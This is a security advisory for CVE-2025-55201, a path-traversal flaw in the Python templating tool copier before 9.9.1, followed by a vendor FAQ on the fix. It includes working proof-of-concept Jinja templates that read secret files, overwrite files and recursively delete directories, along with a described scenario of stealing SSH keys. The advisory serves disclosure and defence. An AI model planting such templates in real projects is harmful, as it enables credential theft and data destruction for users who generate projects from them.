CVE-2025-55201

Arbitrary read access

Imagine, e.g., a malicious template author who creates a template that reads SSH keys or other secrets from well-known locations, perhaps "masks" them with Base64 encoding to reduce detection risk, and hopes for a user to push the generated project to a public location like github.com where the template author can extract the secrets.

Reproducible example:

• Read known file:

  echo "s3cr3t" > secret.txt
  mkdir src/
  echo "stolen secret: {{ (_copier_conf.dst_path / '..' / 'secret.txt').resolve().read_text('utf-8') }}" > src/stolen-secret.txt.jinja
  uvx copier copy src/ dst/
  cat dst/stolen-secret.txt
  

• Read unknown file(s) via globbing:

  mkdir secrets/
  echo "s3cr3t #1" > secrets/secret1.txt
  echo "s3cr3t #2" > secrets/secret2.txt
  mkdir src/
  cat <<'EOF' > src/stolen-secrets.txt.jinja
  stolen secrets:
  {% set parent = (_copier_conf.dst_path / '..' / 'secrets').resolve() %}
  {% for f in parent.glob('*.txt') %}
  {{ f }}: {{ f.read_text('utf-8') }}
  {% endfor %}
  EOF
  uvx copier copy src/ dst/
  cat dst/stolen-secrets.txt
  

Arbitrary write access

Imagine, e.g., a malicious template author who creates a template that overwrites or even deletes files to cause havoc.

Reproducible examples:

• Overwrite known file:

  echo "s3cr3t" > secret.txt
  mkdir src/
  echo "{{ (_copier_conf.dst_path / '..' / 'secret.txt').resolve().write_text('OVERWRITTEN', 'utf-8') }}" > src/malicious.txt.jinja
  uvx copier copy src/ dst/
  cat secret.txt
  

• Overwrite unknown file(s) via globbing:

  echo "s3cr3t" > secret.txt
  mkdir src/
  cat <<'EOF' > src/malicious.txt.jinja
  {% set parent = (_copier_conf.dst_path / '..').resolve() %}
  {% for f in (parent.glob('*.txt') | list) %}
  {{ f.write_text('OVERWRITTEN', 'utf-8') }}
  {% endfor %}
  EOF
  uvx copier copy src/ dst/
  cat secret.txt
  

• Delete unknown file(s) via globbing:

  echo "s3cr3t" > secret.txt
  mkdir src/
  cat <<'EOF' > src/malicious.txt.jinja
  {% set parent = (_copier_conf.dst_path / '..').resolve() %}
  {% for f in (parent.glob('*.txt') | list) %}
  {{ f.unlink() }}
  {% endfor %}
  EOF
  uvx copier copy src/ dst/
  cat secret.txt
  

• Delete unknown files and directories via tree walking:

  mkdir data
  mkdir data/a
  mkdir data/a/b
  echo "foo" > data/foo.txt
  echo "bar" > data/a/bar.txt
  echo "baz" > data/a/b/baz.txt
  tree data/
  mkdir src/
  cat <<'EOF' > src/malicious.txt.jinja
  {% set parent = (_copier_conf.dst_path / '..' / 'data').resolve() %}
  {% for root, dirs, files in parent.walk(top_down=False) %}
  {% for name in files %}
  {{ (root / name).unlink() }}
  {% endfor %}
  {% for name in dirs %}
  {{ (root / name).rmdir() }}
  {% endfor %}
  {% endfor %}
  EOF
  uvx copier copy src/ dst/
  tree data/
  

Copier's current security model shall restrict filesystem access through Jinja:

• Files can only be read using {% include ... %}, which is limited by Jinja to reading files from the subtree of the local template clone in our case.
• Files are written in the destination directory according to their counterparts in the template.

Copier suggests that it's safe to generate a project from a safe template, i.e. one that doesn't use unsafe features like custom Jinja extensions which would require passing the --UNSAFE,--trust flag. As it turns out, a safe template can currently read and write arbitrary files because we expose a few pathlib.Path objects in the Jinja context which have unconstrained I/O methods. This effectively renders our security model w.r.t. filesystem access useless.

Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.

Kodem intelligence

1. What is CVE-2025-55201? CVE-2025-55201 is a high-severity path traversal vulnerability in copier (pip), affecting versions < 9.9.1. It is fixed in 9.9.1. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
2. Which versions of copier are affected by CVE-2025-55201? copier (pip) versions < 9.9.1 is affected.
3. Is there a fix for CVE-2025-55201? Yes. CVE-2025-55201 is fixed in 9.9.1. Upgrade to this version or later.
4. Is CVE-2025-55201 exploitable, and should I be worried? Whether CVE-2025-55201 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
5. What actually determines whether CVE-2025-55201 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
6. How do I fix CVE-2025-55201? Upgrade copier to 9.9.1 or later.